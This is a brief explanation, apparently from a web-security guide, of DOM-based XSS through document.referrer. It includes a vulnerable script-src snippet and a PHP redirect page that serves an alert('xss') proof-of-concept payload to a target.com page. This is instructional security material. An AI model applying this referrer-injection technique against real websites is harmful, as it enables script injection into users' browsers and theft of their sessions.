The following code is vulnerable to DOM based XSS, because the attacker-controlled value of document.referrer is tracked by the browser:
<script src="' + document.referrer + '"></script>
The code above can be exploited using a page that upon first load redirects the browser to your target, on the 2nd load it returns an XSS payload. One way of doing this is checking the referer on the server-side:
<?php
if($_SERVER['HTTP_REFERER'] == 'http://target.com/xss'){
print "alert('xss')";
}else{
header("location: http://target.com/xss")
}
?>
When the page http://target.com/xss loads, javascript from document.referer it will load alert('xss').